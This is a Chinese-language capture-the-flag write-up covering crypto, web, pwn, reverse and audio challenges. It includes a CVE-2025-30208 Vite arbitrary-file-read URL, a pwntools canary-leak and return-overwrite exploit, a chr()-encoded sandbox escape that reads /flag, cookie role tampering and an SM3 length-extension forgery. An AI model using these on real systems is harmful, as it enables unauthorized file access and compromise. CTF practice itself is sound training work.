总榜第三。

Welcom3

Flag: 0ops{饮水思源}

为什么会有中文!我差点不会做!

ezCrypt

Base64 & G-Zip.

Output:

0ops, looks like we have a really long number. Can you figure out what this is?

010101000110100101101101011001010010000001110100011011110010000001100011011010000110111101101111011100110110010100100001001000000101010001101000011001010111001001100101001000000110000101110010011001010010000001110100011101110110111100100000011000100110110001101111011000110110101101110011001000000110111101100110001000000110001101101001011100000110100001100101011100100010110000100000011101000110100001100101001000000110011001101100011000010110011100100000011010010111001100100000011010010110111000100000011011110110111001100101001000000110111101100110001000000111010001101000011001010110110100101110001000000100001101101000011011110110111101110011011001010010000001110111011010010111001101100101011011000111100100100001000010100000101001010010001100110101011001111001010010010100100001001110001101010110001001101110010100010110011101100100011011010101100101100111010011010100100001100100001101000110010101011000011100110111100001010000010101110011010100110100011000110110110000111001011110100110010101010101010000100101010101011000001100100100101001010100010110000011000101000010010001100110001001000101010011100100100001010001011011000011100101010001011001000101011100110100011110000100110101010011010001100011100101001001010100110100001001010111010010100011001101101111011001110110010101001000010110100111100001100011010110000101101001101000011001000100001100110100011001110101010001101101010011100110110001100100011011100110101101100111010101010011001001001010011010010110010101010011010001010110011101010010001100110101011001111001010110100101100001001001011001110110010001101101010110010110011101011001010101110100100101100111011000110011001101101100011101010110010001000011010000100011001001011001010100110100001001101110011001000101100001011010011011010100100101000111010010100110100001100011011011100011010001100111010101000011001001101000011011100100100101000110010110010110011101100011010001110011010101101000010010010100011101001110011011000101100101101101011011000011001001100011010110000100100101100111011000100100011101001010011011110100100101000111010110100110100101100101011011100100100101100111011001000101100001011010011010000101101001111001010000100111101001011001011011010101010101100111010110100011001101010110011110010100100101000111010010100110111001100100010110000100101001101100010010010100011100111001001101010101100101101110010000100011010001001001010100010110111101100111010101110110110100110101011100110110001000110011010010010110011101100100011011010110001101100111011001000110110101011001011001110110001001101001010000100111011101011001011011100111000001101010011000100110111001000010011011100100100101000111010101100111100101011001001100100101011001111001010110100110111001001010011010000101101000110010001101010110111001100100011011010100101001101000010010010100011101001010011110100100100101000110010110100100010001100001010101000101100101100111011000100110111001000110011110000101101001011000010010100110110101011010011011100100101001101101010011000100001101000010011101010101101001111001010000100011010101100011011011010011010101101101010110100111100101000010011101010110001101001000010000100110100101011010010110000100011000110010010110010101100001010001011001110101101000110010010010010110011101011010011011010100101000110110011000110110100101000010011110100110000101000111010001100110100001100010010000110100001001000110010101010011000101000010011011010100100101000110010110010110011101011010010110000100101001110101011000110101001101000010011110010110001001101101010101100011010101100100011011100100101001101100010011000110100101000010010011110110001100110010011001000111100101011010010100110100001001101110011001000101011100110101011011100100110001000011010000100111001101011001011011010110011101100111011001010110111001011010001100000110010001010111011000110110011101100001011011010011010101101000010110100111100101000010011011100101100101101001010000100011010101100011011011010011010101101100010110010101001101000010011101010110001000110010010010100110111101011010011110010100001001000110010100100110101100110100011100110100100101000111001101010110100001100011010100110100001001101110011001000101100001001001011001110110001101101101011101000110111001011010010110000100101000110110011000110110100101000010011110000110010001101110010011100111101001100100011011100100001001101111011001010101011101100100011100110100100101000111011001000110100101001001010010000100111001110101011000110100011101100100011010010101101001010011010000100011000101100001010010000101001001111001010010010100011101000110011011110110010101101101001110010111100101011010010101110101100101110011010010010100100001001010011011010101100100110011010010100111011101100100011011010011010100110101011001010101011101110111011001110110000101101110010101100111100101011001010100110100001001101110011001000101100001001010011100110100100101000111001101010110110001100011011010010100001001101110011001000101100001001001011001110101100100110010010101100110100101100011010101110110100001110111010110100111100101000010011010010110001101111001010000100110111001100001011011010100100101100111011001010101011100110101011011000110010001001000010010010110011101011001001100100101011000110010011001010110111001001010011011010100110001000011010000100110111101011001010110000110110001111001010110100110110101011001011001110101101001101101010010100011011001100011011011010100101001101000011000110110100101000010001100010110001001101110010001010110011101011001001100100110100001110110011001010101100001011010011011010110010001011000010010100111100001001001010001110110010000110001011000110110100101000010011011000110001101101101010110100110111101100101010101110110001101100111010110010110111001001101011001110101101000110011010101100111100101001001010010000100111001110101011000110100011101100100011010010101101001011000010110100111010001100010011011010110010000110010010110010110110101000101011101010100100101000110010100100110100101011001011011100100010101100111011001010101011101101000011101110110010101000011010001010011110100001010000010100100111001101000011001100101010101111101011000100011100001101010010001110101100001011010001010100111000000111110010110100100010101000110011001010110100101000010010101110101111001011010011110100011010101011010001010100010100001000001010110100101101001111001001111000100000101000110011000110011010001011010001010010101001001011000011010110111101101010010001110010110000100100101011100000111100100111001011000100101100100100110011011110100011101010111011100010100001001011010010101010101101001111001001110110110111100110100010101100111101101100011001111110010110101000001011000010111001001010000010001000100000101011010010000100110001001111110010110000100010000100101010100010100000001100010001000110111100000100100011001010101101000101010001101100011010101000100011000100011100101001000011000110100101101100001001001000111110000110011001110000110000101000011010011000100111001001100011000010111011000101010001101000011011101100011001101000101101000101001001110000101100100111011011101000011100001100000010101110100111100101010010100010100001101100001001001000010001101100100010000000101011101101110001111100101111001111101011000100101001001100011001100010100011001010111010001100101010100110010010011000101100100111011010100100010001100111111010101110110111000111110010111110011100101011010011110010011101101100110010000010100000101100001001110000100010001001100010110000011111001001101011001110011100001010111010011010101011001000101010011000100110001110100001001000011110001110000011001000011001001100101001010110110011001010111010000000010011001000011010000000100000101100001011100100101000001000100010000010101101001000010011000100111111001011000010001100110110100100001010001110101101001011000011010010011011100100101010001100110111001000010011010100100111001000110001111010011100100110100001100100101011101001101011110010101001101111000010010000010100101010011001001000111000101010110011000000100110101001111001110010101011001001011010001100111001001000000010010010101100001010000011010010111011001001001010101110101001001100001011010010101011101101001011001010111000101101011010101100110110001100111001001010111110001010110001111100100001001000000011111010101011001110001011111000011010001000011010010000110010100101001011101000011000101010111011011100010100001111000011011110100011000101001011111010110001001010001010101110100100001101101010000100110111001000111001001100100110101000111001101010100011100101011011110110101011000110101010010000110010101011111010011100111000001010111010011010100110101100001001110010101011100101101001111100100111000111000010010000100010001111000011010100111110001001000011001010100000000101011011101100100011101101000001000110011100101100000010101110100110101110111011000110110100101010110010010110100011001110110011011000100100001100001001110010110100000110100010101110100100000110010011111100011010001010110001111100100010001110101010000010101011100111011001100000011110100111001010101100011111001010110001010110110111001010111011010010110010000111000011010110101011001101100011110000101011000110101010000010101010101111010001110110011100101001000001110000110111001000110011001110011001101010011001001010100100001010111010000010101010001010111001100110111110101001000010110100010100001000100001100000100100101000001010100110110111000110000010101110100000001001011010100110011100101001001010000010110001001111100011100110101011100101101011111100101000100110100010101100100101101100111011110110011011001010110011100010010000101001100010000010100100101011000001101110110011001000101010101110100000001010010001000010110110001010111011011100110111001100110011011100100100001000100010110010011010101101010010010000011100000111111010100100110010101010111010011010101011001010100011010000100100000101001011000100010010000110010010101110011111101011110010000010100001101000111001010110111101101010000011011110101011101001000011111100110001101110100010101100100101101011000001111100011000001000111011001000101011001010101011010100100011101000010011000010110100101111011010010000011100000110101011001110011000101001000011000010100101101001110001101010100100101011000001101110110110001000110010010010110001100111000001110110100100101010110010100000111001001010100011011110100011001100111001101110111010001011000010010010011010101100001010100110011001001010111011011100111100101000111010001000100100000100011010010110011001000110001010101110011101101110010011011110011100001000111011000110111000100101001001100000100100101100010001111000010101001101010

ASCII.

step2.py:

binary_string = "01010100" # omitted

binary_values = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]

ascii_string = ''.join([chr(int(bv, 2)) for bv in binary_values])

print(ascii_string)

Output:

Time to choose! There are two blocks of cipher, the flag is in one of them. Choose wisely!

R3VyIHN5bnQgdmYgMHd4eXsxPW54cl9zeUBUX2JTX1BFbENHQl9QdW4xMSF9ISBWJ3ogeHZxcXZhdC4gTmNldnkgU2JieSEgR3VyZXIgdmYgYWIgc3ludCB2YSBndXZmIGJhcn4gT2hnIFYgcG5hIGNlYml2cXIgbGJoIGZienIgdXZhZyBzYmUgZ3VyIGJndXJlIG95YnB4IQogWm5sb3IgdmcgdmYgbiBwYnpjbnBnIGVyY2VyZnJhZ25ndmJhIGJzIFZDaTYgbnFxZXJmZnJmLCBuZyB5cm5mZyBucHBiZXF2YXQgZ2IgZmJ6ciBzaGFhbCBFU1BmIFYgZXJucSBybmV5dnJlLiBOc2dyZSBndW5nLCBsYmggenZ0dWcgam5hZyBnYiB5cm5lYSBub2JoZyBFRk4sIG5hcSBndXIgcmtnZXJ6ciBxdnNzdnBoeWdsIGdiIHNucGdiZSB1aHRyIGFoem9yZWYsIHJmY3Jwdm55eWwganVyYSBndXJsIG5lciBndXIgY2VicWhwZyBicyBnamIgeW5ldHIgY2V2enJmLCBoYXlyZmYgZmJ6cmJhciB1bnEgY2hveXZmdXJxIGd1ciBlcmZoeWcgYnMgZ3VyIHNucGdiZXZtbmd2YmEuIFRiYnEgeWhweCE=

NhfU}b8jGXZ*p>ZEFeiBW^Zz5Z*(AZZy<AFc4Z)RXk{R9a%py9bY&oGWqBZUZy;o4V{c?-AarPDAZBb~XD%Q@b#x$eZ*65Db9HcKa$|38aCLNLav*47c4Z)8Y;t8`WO*QCa$#d@Wn>^}bRc1FWFU2LY;R#?Wn>_9Zy;fAAa8DLX>Mg8WMVELLt$<pd2e+fW@&C@AarPDAZBb~XFm!GZXi7%FnBjNF=942WMySxH)S$qV`MO9VKFr@IXPivIWRaiWieqkVlg%|V>B@}Vq|4CHe)t1Wn(xoF)}bQWHmBnG&MG5G+{V5He_NpWMMa9W->N8HDxj|He@+vGh#9`WMwciVKFvlHa9h4WH2~4V>DuAW;0=9V>V+nWid8kVlxV5AUz;9H8nFg3S%HWATW3}HZ(D0IASn0W@KS9IAb|sW-~Q4VKg{6Vq!LAIX7fEW@R!lWnnfnHDY5jH8?ReWMVThH)b$2W?^ACG+{PoWH~ctVKX>0GdVUjGBai{H85g1HaKN5IX7lFIc8;IVPrToFg7tXI5aS2WnyGDH#K21W;ro8Gcq)0Ib<*j

For the first one, CyberChef, From Base64.

Output:

Gur synt vf 0wxy{1=nxr_sy@T_bS_PElCGB_Pun11!}! V'z xvqqvat. Ncevy Sbby! Gurer vf ab synt va guvf bar~ Ohg V pna cebivqr lbh fbzr uvag sbe gur bgure oybpx!
 Znlor vg vf n pbzcnpg ercerfragngvba bs VCi6 nqqerffrf, ng yrnfg nppbeqvat gb fbzr shaal ESPf V ernq rneyvre. Nsgre gung, lbh zvtug jnag gb yrnea nobhg EFN, naq gur rkgerzr qvssvphygl gb snpgbe uhtr ahzoref, rfcrpvnyyl jura gurl ner gur cebqhpg bs gjb ynetr cevzrf, hayrff fbzrbar unq choyvfurq gur erfhyg bs gur snpgbevmngvba. Tbbq yhpx!

Caesar. Brute force it; offset = 13. BTW, It has a special name "ROT13". I have just knowed that.

The flag is 0jkl{1=ake_fl@G_oF_CRyPTO_Cha11!}! I'm kidding. April Fool! There is no flag in this one~ But I can provide you some hint for the other block!
Maybe it is a compact representation of IPv6 addresses, at least according to some funny RFCs I read earlier. After that, you might want to learn about RSA, and the extreme difficulty to factor huge numbers, especially when they are the product of two large primes, unless someone had published the result of the factorization. Good luck!

So for the second one, CyberChef, From Base85, Alphabet = IPv6.

Output:

I'm so sorry, I forgot to save the private key to decode the flag. But some supercomputer have already cracked it and uploaded to an online db. Can you find the flag?

n = 0x771b68deea7e2ecd0fa15099ae9085e1a6b163c415bde56c61ec811201d52e456e4a876db6da7af2695e206d9e3b23de02a16f675ad087c4bef3acc6c4e16ab3
e = 65537
c = 0x5641d8b05fda28c9af355a488bb6d97d9fe21ea645bc25814db317f04faa84a6fd93fa383396523f050b968e197f89febad840614840eebd675a3f917324f9d0

FactorDB query.

p = 66720953144911165998838491049270049821121906475512246576323412599571011308613
q = 93496017058652140120451192281187268387402942550918512435321834788719825835671
assert n == p * q # True

Then just RSA it:

from sympy import mod_inverse

n = 0x771b68deea7e2ecd0fa15099ae9085e1a6b163c415bde56c61ec811201d52e456e4a876db6da7af2695e206d9e3b23de02a16f675ad087c4bef3acc6c4e16ab3
e = 65537
c = 0x5641d8b05fda28c9af355a488bb6d97d9fe21ea645bc25814db317f04faa84a6fd93fa383396523f050b968e197f89febad840614840eebd675a3f917324f9d0
p = 66720953144911165998838491049270049821121906475512246576323412599571011308613
q = 93496017058652140120451192281187268387402942550918512435321834788719825835671

phi_n = (p - 1) * (q - 1)
d = mod_inverse(e, phi_n)
m = pow(c, d, n)

decrypted_message = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big').decode('utf-8')

print(decrypted_message)

Output: 0ops{bR@v0_y0u_rEAl1Y_90oD_a7_CRyPTO}

rickroll

Caution Using the PASSWORD_BCRYPT as the algorithm, will result in the password parameter being truncated to a maximum length of 72 bytes.

Reference: https://www.php.net/manual/en/function.password-hash.php

http://f7p7bmx9y9jttkwv.instance.penguin.0ops.sjtu.cn:18080/?input=Never%20gonna%20give%20you%20up%2CNever%20gonna%20let%20you%20down%2CNever%20gonna%20run%20around%20and%20desert

Output: impossible! 0ops{Y0u_know_7he_ru1e5_6nd_BV1GJ411x7h7}

IPHunter

Flag 1: 你的机场里面节点很多,难道我也只是其中一个

Flag 2: Speedtest Master & TOR Master

女娲补胎

zhu_Rong.use(Zhu_Rong.static(Ying_Zhou.join(__dirname)));

把文件给漏了。直接访问 /app.js,其中赫然写着:

const He_Tu = "TsGTZOWtpiVb1W6C" // 河图密码

登进去了。哎怎么 /flag 进不去啊?看看怎么个事儿吧。

zhu_Rong.post('/', (req, res) => {
  const { username, password } = req.body;
  if (username === 'admin' && password === He_Tu) {
    res.cookie('role', 'user', {
      httpOnly: true,
      maxAge: 3600000,
      sameSite: 'strict'
    });

    req.session.user = username;
    req.session.logined = "true";
    return res.redirect('/flag');
  }
  
  req.session.error = '登录失败';
  res.redirect('/');
});

zhu_Rong.get('/flag', Triple_Secure, (req, res) => {
  const flag = process.env.FLAG ?? 'flag{test}';
  res.render('flag', { flag });
});

嗷嗷,有个 Triple_Secure 要过。

function Triple_Secure(req, res, next) {
  if (!Xuan_Wu(req)) {
    res.redirect('/');
  }
  else if (!Double_Pupil(req)) {
    res.redirect('/');
  }
  else if (!Kui_Dragon(req)) {
    res.redirect('/');
  }
  else {
    next();
  }
}

该玄武函数是这样的:

// 神兽「玄武」以甲壳御侮、以鳞角擅战
function Xuan_Wu(req) { 
  if (req.header['admin_key'] != undefined)
  if (Gui_Xu(req.header['admin_key']) == "81cb271f0e52999ba6a0fb11fa6dd9fd")
  return "pass"; return "fail";
}

无论 "pass" 还是 "fail" 都是 true 嘛,卵用没得。

重明函数与夔函数是这样的:

// 神鸟「重明」双目双瞳可辨妖邪
function Double_Pupil(req) { 
  return (req.session.user == "admin")
  && (req.session.logined == "true");
}
// 独脚神兽「夔」借雷声震慑天下
function Kui_Dragon(req) { 
  return req.cookies['role'] == "admin";
}

合着我登录的时候 cookies 恒给我一个 user,现在又要我是 admin。还得我自己动手改 cookies... 总之把小饼干里的 role=user 改成 role=admin 就好了。

Flag: 0ops{x66ZTwpe5fbrJuD69SrAuA}

TIME & POWER

nc 进去让我输入密码。首先可以爆出长度是 14;其次该程序会逐位检查输入的密码,对于正确的位需要在其上花大约一秒钟,对于错误的位直接过掉。

好爆,aaaaaaaaaadmin。一个小问题是爆一位的时候其他位写错的,不要写对的;否则等到猴年马月去了。

爆完显示 $ cat data.npz | base64 并输出一坨 base64,然后就 disconnect 了。

扒下来解码之后得到一个 .npznp.load 发现里面有 inputsindexespower。考虑功耗图分析。

import numpy as np
import matplotlib.pyplot as plt
import os
from collections import Counter

npz_file = np.load('data.npz')

inputs = npz_file["input"]
indexes = npz_file["input_id"]
power = npz_file["power"]         # (1053, 100)
len = 27

# input == "abcdefghijklmnopqrstuvwxyz0123456789_{}" * 27
# input_id == [0] * 39 + [1] * 39 + ... + [26] * 39

charset = "abcdefghijklmnopqrstuvwxyz0123456789_{}"

for i in range(1053):
    inp = inputs[i]
    idx = indexes[i]

    peak_index = np.argmax(power[i,:])
    print(f"第 {idx} 位密码,输入 {inp}")

    plt.figure(figsize=(14, 3))
    plt.grid(True)
    plt.plot(power[i,:])

    dir_path = f"figures/{idx:02}"
    if not os.path.exists(dir_path):
        os.makedirs(dir_path)
    plt.savefig(f"figures/{idx:02}/{inp}.png")
    plt.close()

画出图来后类似这样,以第一位为例(我们知道第一二三四五位肯定是 0ops{):
00
这是 0.png
0.png
这是 o.png
o.png
观察发现,必存在某一位置,在错误的图中是峰,在正确的图中不见了/是谷。如此瞪出每一位即可。

Flag: 0ops{power_1s_a11_y0u_n55d}

这题 solved 怎么这么多,我觉得难死了;合着大家都是 misc 大手子……

Emergency

CVE-2025-30208.

http://6gyvkqycgjr4v7x7.instance.penguin.0ops.sjtu.cn:18080/@fs/flag?import&raw??

Output:

export default "0ops{26efadbf-70bc-4858-b0fc-b3ec4c02498b}\n"

GuessMaster

可是 offset 并不是想象中的 10。gdb 得到其为 110。

本地测试无恙,然而远程就寄了,怀疑是我的钟和平台的不一样。但我又不知道平台的钟是几!左找右找发现 Dashboard 这里有一个倒计时,发现倒计时的秒数与我电脑右下角的秒数相加等于 59,遂将 offset 加一,过了。

from pwn import *

from ctypes import cdll
LOCAL_DEBUG = False
remote_ip = "instance.penguin.0ops.sjtu.cn"
remote_port = 18807
local_process = "./pwn"
elf = ELF('./pwn')
context(os = "linux", log_level = "debug")

OFFSET = 110
if LOCAL_DEBUG:
    io = process(local_process)
else:
    io = remote(remote_ip, remote_port)
    OFFSET += 1 # 我的时间不准!

# Step 1: GuessRand
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(0) + OFFSET)

for i in range(100):
    rand_num = libc.rand()
    io.info(rand_num)
    io.debug(io.recvrepeat(0.01))
    io.sendline(str(rand_num).encode())
    io.debug(io.recvrepeat(0.01))

# Step 2: Read
io.debug(io.recvrepeat(0.01))

io.send(b'A'*264 + b'B')
io.recvuntil(b'B')
canary = u64(b'\x00' + io.recv(7))
log.success(f"Leaked Canary: {hex(canary)}")

wish_addr = 0x149F
rop = ROP(elf)
ret_addr = rop.find_gadget(['ret'])[0]

payload = flat(
    b'A'*264,
    p64(canary),
    b'B'*8,
    elf.sym['wish']
)

io.send(payload)
io.clean()
io.interactive()

PyCalc

Reference: https://peps.python.org/pep-0672/#normalizing-identifiers

wanna = "open('/flag').read()"

outlist = []
for each in wanna:
    o = ord(each)
    outlist.append(f"chr({o})")

print("eval(" + "+".join(outlist) + ")")
eval(chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(39)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41))

计算结果:0ops{b6f90dc4-cd4d-453e-b6ab-27532460f3a8}

Notes

username = params[0]
org = params[-1]

为什么不 assert len(params) == 2

SM3 是 Merkle–Damgård 构造,可以进行 Length Extension Attack。Ref: CTF Wiki

原来的签名是对 secret.penguins.tomo0.GO 签的。考虑构造一个 secret.penguins.tomo0.GO || padding || .CRYCRY,这样 org 就能成功取到 CRYCRY 了,且我们在已知 secret.penguins.tomo0.GO 的签名与 secret 的长度时可以对它进行签名。这里 secret 的长度是随机的;然而范围有限,于是爆一下就行。

SM3 Length Extension Attack 的实现我这里调了个包(并稍微改了一下)。

源码在这里,直接 py remote.py 即可获得输出:

Ningen ni Naritai...
...
...
...
...
フラグ:0ops{M3rKl3_d4mg4RD_15_vU1N3r4B13_7o_1En9tH_3XtENSION_@Tt@cK}

ExprWarmup

输入三个后缀表达式,分别代表 $a', b'$ 和 $c'$,要求 $a', b', c'$ 与 $a, b, c$ 满足一定关系。系统将随机生成一些 $a, b, c$ 进行检验。

main 函数关键处:

sub_37FE(&v16, 5.0, 100.0);
emptyFunc();
Expr::Expr((Expr *)v20, v16, v17, v18);
v19[0] = Expr::evaluate((__int64)v20, (__int64)v13);
Expr::~Expr((Expr *)v20);
Expr::Expr((Expr *)v20, v16, v17, v18);
v19[1] = Expr::evaluate((__int64)v20, (__int64)v14);
Expr::~Expr((Expr *)v20);
Expr::Expr((Expr *)v20, v16, v17, v18);
v19[2] = Expr::evaluate((__int64)v20, (__int64)v15);
Expr::~Expr((Expr *)v20);
diviseSum(v19);
if ( !check((__int64)&v16, v19) )
{
    v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Never gives up!");
    std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    v3 = 0;
    goto LABEL_11;
}
flag();

值得注意的是这里有一个 diviseSum(虽然对于这一小问来说看漏了也没有关系,后面约掉了)。它是这样的一个操作:
$$ \mathbf{a_2} = (a^*, b^*, c^*)^T = \frac{1}{a' + b' + c'} (a', b', c')^T$$
来看看 check 函数:

bool __fastcall sub_2711(__int64 a1, double *a2)
{
  double v3[4]; // [rsp+10h] [rbp-C0h] BYREF
  double v4[4]; // [rsp+30h] [rbp-A0h] BYREF
  double v5[4]; // [rsp+50h] [rbp-80h] BYREF
  double v6[4]; // [rsp+70h] [rbp-60h] BYREF
  double v7[4]; // [rsp+90h] [rbp-40h] BYREF
  double v8[4]; // [rsp+B0h] [rbp-20h] BYREF

  *(_QWORD *)&v8[3] = __readfsqword(0x28u);
  emptyFunc();
  emptyFunc();
  emptyFunc();
  createVectorArray(v6, 1.0, 0.0, 0.0);         // i
  createVectorArray(v7, 0.0, 1.0, 0.0);         // j
  createVectorArray(v8, 0.0, 0.0, 1.0);         // k
  outerProduct(v3, v7, v8);                     // i
  outerProduct(v4, v6, a2);
  outerProduct(v5, v4, v3);
  return fabs(v5[1] / v5[2] - *(double *)(a1 + 8) * *(double *)(a1 + 8) / (*(double *)(a1 + 16) * *(double *)(a1 + 16))) < 9.999999999999999e-12;
}

其中

$$ \mathbf{a_1} = (a, b, c)^T, ~\mathbf{a_2} = (a^*, b^*, c^*)^T, ~\mathbf{v_4} = \mathbf{i} \times \mathbf{a_2}, ~\mathbf{v_5} = \mathbf{v_4} \times \mathbf{v_3}, $$

计算得知
$$ \mathbf{v_5} = (0, b^*, c^*)^T. $$
要让该函数返回 true,需满足
$$ \frac{b^*}{c^*} - \frac{b^2}{c^2} = 0, $$
显然
$$ b' = b^2,~ c' = c^2$$
即为一解。

> 1        # Whatever
> b b x    # b' = b^2
> c c x    # c' = c^2

Output:

0ops{1'm_le4rNiNg_reVEr$e_And_math_iN_SJ7UcTF2025}

NoisyCat

encoder.exe 会输出一个没有文件头的 .wav 文件;好在 data.wav 贴心地把它给加上了,不然我估计一辈子都不知道这是什么了。听起来很……我好像知道 NoisyCat 的 Cat 是什么意思了。把逆向代码丢给 DeepSeek,它也说这是某种 FSK。确实就是 Bell202 呢。

关键在此:

void __fastcall sub_140001008(int a1, __int64 a2, __int64 a3)
{
  __int64 v4; // rbx
  __int64 v6; // rbp
  __int64 v7; // rbx
  unsigned int v8; // r14d
  int i; // esi

  v4 = a1;
  encode(0, a3);
  encode(0, a3);
  v6 = v4;
  if ( (int)v4 > 0 )
  {
    v7 = 0LL;
    do
    {
      encode(1, a3);
      v8 = *(unsigned __int8 *)(v7 + a2);
      for ( i = 0; i < 8; ++i )
        encode((v8 >> i) & 1, a3);
      encode(0, a3);
      ++v7;
    }
    while ( v7 < v6 );
  }
  encode(0, a3);
  encode(0, a3);
}

其中 encode 函数是被我重命名的 sub_1400010B4 函数。也就是说,对于每一个字符 $A = (a_1 a_2 a_3 a_4 a_5 a_6 a_7 a_8)_2$,它将会被编码为 $A' = (1a_8 a_7 a_6 a_5 a_4 a_3 a_2 a_1 0)_2.$

找到一个 minimodem,可以使用它来解码它输出的文件。我使用的命令如下:

minimodem -f data.wav --binary-raw 10 --tx-carrier 1200 > data.out

我写了一个这个样子的测试文件:
simple1

minimodem 对此的输出是这样的:

0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000000
0110000000
0101000000
0111000000
0100100000
0110100000
0101100000
0111100000
0100010000
0110010000
0101010000
0111010000
0100110000
0110110000
0101110000
0111110000
0100001000
0110001000
0101001000
0111001000
0100101000
0110101000
0101101000
0111101000
0100011000
0110011000
0101011000
0111011000
0100111000
0110111000
0101111000
0111111000
0100000100
0110000100
0101000100
0111000100
0100100100
0110100100
0101100100
0111100100
0100010100
0110010100
0101010100
0111010100
0100110100
0110110100
0101110100
0111110100
0100001100
0110001100
0101001100
0111001100
0100101100
0110101100
0101101100
0111101100
0100011100
0110011100
0101011100
0111011100
0100111100
0110111100
0101111100
0111111100
0100000010
0110000010
0101000010
0111000010
0100100010
0110100010
0101100010
0111100010
0100010010
0110010010
0101010010
0111010010
0100110010
0110110010
0101110010
0111110010
0100001010
0110001010
0101001010
0111001010
0100101010
0110101010
0101101010
0111101010
0100011010
0110011010
0101011010
0111011010
0100111010
0110111010
0101111010
0111111010
0100000110
0110000110
0101000110
0111000110
0100100110
0110100110
0101100110
0111100110
0100010110
0110010110
0101010110
0111010110
0100110110
0110110110
0101110110
0111110110
0100001110
0110001110
0101001110
0111001110
0100101110
0110101110
0101101110
0111101110
0100011110
0110011110
0101011110
0111011110
0100111110
0110111110
0101111110
0111111110
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100
0100000100

个中规律显而易见;不过好像和前面分析得不太一样,因为它似乎有些 offset;把第一个字符丢掉再十个十个一组就和刚刚的理论分析一样了。不过我是就照着这个输出写的脚本:

filename = "data"

lines = []
with open(f"{filename}.out", "r") as f:
    lines = f.readlines()

lines = [line[2:-2] for line in lines]
lines = [line[::-1] for line in lines]
# chrs = [chr(int(line, 2)) for line in lines]
chrs = [int(line, 2).to_bytes() for line in lines]
output = b''.join(chrs)

with open(f"{filename}.txt", "wb") as f:
    f.write(output)

输出:

And cat said, "Let there be flag," and there was flag.
0ops{057d572f-92e2-4830-8095-f368a624e746}
Cat saw that the flag was good, and cat encoded the flag into the sound.

NoisyCat2

minimodem -f data.wav --binary-raw 10 --tx-carrier 1200 > data.out
1011111111
0011111101
0101110111
1110011110
0111111001
1100101101
1110111111
1111111011
0001111001
0010101111
1100111111
1111001011
1101111011
1111110010
0010111101
1011111111
1011001011
1111111111
0111111101
0000001011
1111101011
1011110100
0001111111
1110111111
1111100101
0111011101
1111111111
0111111111
1111001011
1111110111
0011100010
0111111111
1011011001
1101101110
1111001100
1101101110
1011010111
1010101101
1101110111
0111010111
1011111111
1111111111
1100111110
1110011111
1110011111
1010111101
0111111110
0110011111
1011011011
1010011111
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001000001
0001010100
0001101001
1101000011
0101111100
0101111001
1101001100
0101110101
0101011001
1101110100
0101111111
0101111001
1101001111
0101010111
0101101001
1101110100
0101001001
0101101001
1101000010
0101101100
0101101001
1101101100
0101101010
0101100101
1101010101
0101111010
0101101001
1101001001
0101111001
0101101001
1101101101
0101011001
0101111001
1101001010
0101111110
0101011001
1101000110
0101111101
0101111001
1101101101
0101011111
0101101001
1101000100
0101000011
0101000101
1101100001
0101000101
0101010100
0001101001
1101000011
0101111100
0101111001
1101001100
0101110101
0101101001
1101111100
0101110101
0101100101
1101011000
0101010010
0101011001
1101010011
0101100001
0101000101
1101111101
0101011111
0101000101
1101000100
0101101100
0101101001
1101111100
0101110100
0101100101
1101010101
0101111010
0101101001
1101101001
0101100111
0101011001
1101111010
0101100101
0101101001
1101101000
0101110101
0101000101
1101011001
0101100000
0101000101
1101111111
0101111110
0101101001
1101000100
0101000011
0101010100
0001101001
1101000011
0101111100
0101111001
1101001100
0101110101
0101011001
1101100100
0101110010
0101101001
1101001111
0101000000
0101101001
1101000010
0101001100
0101101001
1101101101
0101011001
0101000101
1101011101
0101010111
0101011001
1101011010
0101111000
0101100101
1101011001
0101011010
0101000101
1101100001
0101001100
0101111001
1101001111
0101100101
0101000101
1101111111
0101110110
0101101001
1101101000
0101000101
0101101001
1101000100
0101000001
0101011001
1101011100
0101100100
0101010100
0001101001
1101000011
0101111100
0101111001
1101001100
0101110101
0101011001
1101000111
0101101000
0101111001
1101100101
0101010111
0101101001
1101111100
0101010000
0101000101
1101000000
0101110000
0101011001
1101011010
0101111000
0101111001
1101001100
0101011101
0101000101
1101011101
0101100101
0101000101
1101000100
0101101100
0101101001
1101111100
0101110100
0101101001
1101110110
0101011110
0101111001
1101111110
0101101001
0101111001
1101101111
0101100010
0101011001
1101100100
0101011111
0101010100
0001010100
0001000011
0001111101
1001000011
1001110011
1001110111
1001000011
0001100111
0001111011
0001001001
1001101011
0001100011
0001110011
0001110011
0001101101
0001000011
0001011011
0001111011
0001011001
1001101101
0001001011
0001111011
0001000011
0001100011
0001101101
0001010001
1001010001
1001010011
0001001011
0001101101
0001001011
0001001001
1001010001
1001011001
1001100011
0001001011
0001010001
1001100111
0001000111
0001010001
1001010001
1001100011
0001101111
1001010100
0001010100
0001101001
1101101110
0101111100
0101111001
1101001100
0101110101
0101111101
1101101111
0101011110
0101101001
1101101110
0101111100
0101111001
1101001100
0101110101
0101111101
1101101111
0101011110
0101101001
1101100111
0101010011
0101001001
1101010111
0101011000
0101101001
1101101110
0101111100
0101001001
1101010111
0101110100
0101101001
1101000011
0101100011
0101100101
1101000000
0101110000
0101000101
1101111011
0101100010
0101111101
1101101111
0101011110
0101010100
0001101001
1101101110
